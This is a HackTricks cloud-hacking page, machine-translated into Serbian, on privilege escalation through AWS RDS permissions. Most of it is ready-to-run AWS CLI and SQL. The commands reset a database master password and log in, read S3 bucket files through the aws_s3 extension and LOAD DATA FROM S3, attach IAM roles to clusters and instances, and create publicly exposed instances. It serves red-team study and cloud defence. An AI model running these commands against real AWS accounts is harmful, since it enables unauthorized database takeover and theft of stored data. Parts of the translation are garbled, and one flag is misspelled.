AWS - RDS Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

RDS - Relational Database Service

Za više informacija o RDS pogledajte:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Sa tom dozvolom napadač može izmeniti lozinku master korisnika, i korisničko ime u bazi podataka:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Biće potrebno da možete da kontaktirate bazu podataka (obično su dostupne samo iz unutrašnjih mreža).

Potencijalni uticaj: Pronalaženje osetljivih informacija u bazama podataka.

rds-db:connect

Prema docs korisnik sa ovom dozvolom može da se poveže na DB instance.

Zloupotreba RDS Role IAM permissions

Postgresql (Aurora)

Tip

Ako pokrenete SELECT datname FROM pg_database; i pronađete bazu podataka zvanu rdsadmin, znate da se nalazite u AWS postgresql bazi.

Prvo možete proveriti da li je ova baza korišćena za pristup nekim drugim AWS servisima. To možete proveriti gledajući instalirane ekstenzije:

SELECT * FROM pg_extension;

Ako nađete nešto poput aws_s3 možete pretpostaviti da ova baza ima neki vid pristupa over S3 (postoje i druge ekstenzije kao što su aws_ml i aws_lambda).

Takođe, ako imate dozvole da pokrenete aws rds describe-db-clusters možete videti da li cluster ima bilo koju IAM Role pridruženu u polju AssociatedRoles. Ako ih ima, možete pretpostaviti da je baza bila pripremljena za pristup drugim AWS servisima. Na osnovu name of the role (ili ako možete dobiti permissions role) možete pogoditi koji dodatni pristup baza ima.

Sada, da biste read a file inside a bucket morate znati punu putanju. Možete ga pročitati pomoću:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Ako biste imali raw AWS credentials, mogli biste ih takođe koristiti za pristup S3 podacima pomoću:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql ne mora da menja nijednu promenljivu parametarske grupe da bi mogao da pristupi S3.

Mysql (Aurora)

Tip

Unutar mysql-a, ako pokrenete upit SELECT User, Host FROM mysql.user; i postoji korisnik pod imenom rdsadmin, možete pretpostaviti da ste unutar AWS RDS mysql db.

Unutar mysql-a pokrenite show variables; i ako promenljive kao što su aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role imaju vrednosti, možete pretpostaviti da je baza podataka pripremljena za pristup S3 podacima.

Takođe, ako imate dozvole da pokrenete aws rds describe-db-clusters možete proveriti da li klaster ima neku associated role, što obično znači pristup AWS servisima).

Sada, da biste pročitali fajl unutar bucket-a morate znati punu putanju. Možete ga pročitati sa:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Napadač sa dozvolama rds:AddRoleToDBCluster i iam:PassRole može dodati određenu ulogu postojećoj RDS instanci. To bi moglo omogućiti napadaču da pristupi osetljivim podacima ili izmeni podatke u toj instanci.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instance.
Imajte na umu da neki DB-ovi zahtevaju dodatne konfiguracije kao što je Mysql, koji takođe zahteva navođenje role ARN u grupama parametara.

rds:CreateDBInstance

Samo sa ovom dozvolom napadač bi mogao da kreira novu instancu unutar klastera koji već postoji i ima prikačenu IAM role. Neće moći da promeni lozinku master korisnika, ali bi mogao da izloži novu instancu baze podataka internetu:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: Test

Napadač koji ima dozvole rds:CreateDBInstance i iam:PassRole može da kreira novu RDS instancu sa specificiranom ulogom prikačenom. Napadač potom potencijalno može pristupiti osetljivim podacima ili izmeniti podatke unutar instance.

Warning

Some requirements of the role/instance-profile to attach (from here):

  • Profil mora postojati na vašem nalogu.
  • Profil mora imati IAM ulogu koju Amazon EC2 ima dozvole da preuzme.
  • Ime instance profila i ime povezane IAM role moraju počinjati prefiksom AWSRDSCustom .
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Mogući uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.

rds:AddRoleToDBInstance, iam:PassRole

Napadač sa permisijama rds:AddRoleToDBInstance i iam:PassRole može dodati određenu rolu postojećoj RDS instanci. Ovo bi napadaču omogućilo da pristupi osetljivim podacima ili izmeni podatke u instanci.

Warning

DB instanca mora biti van klastera za ovo

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks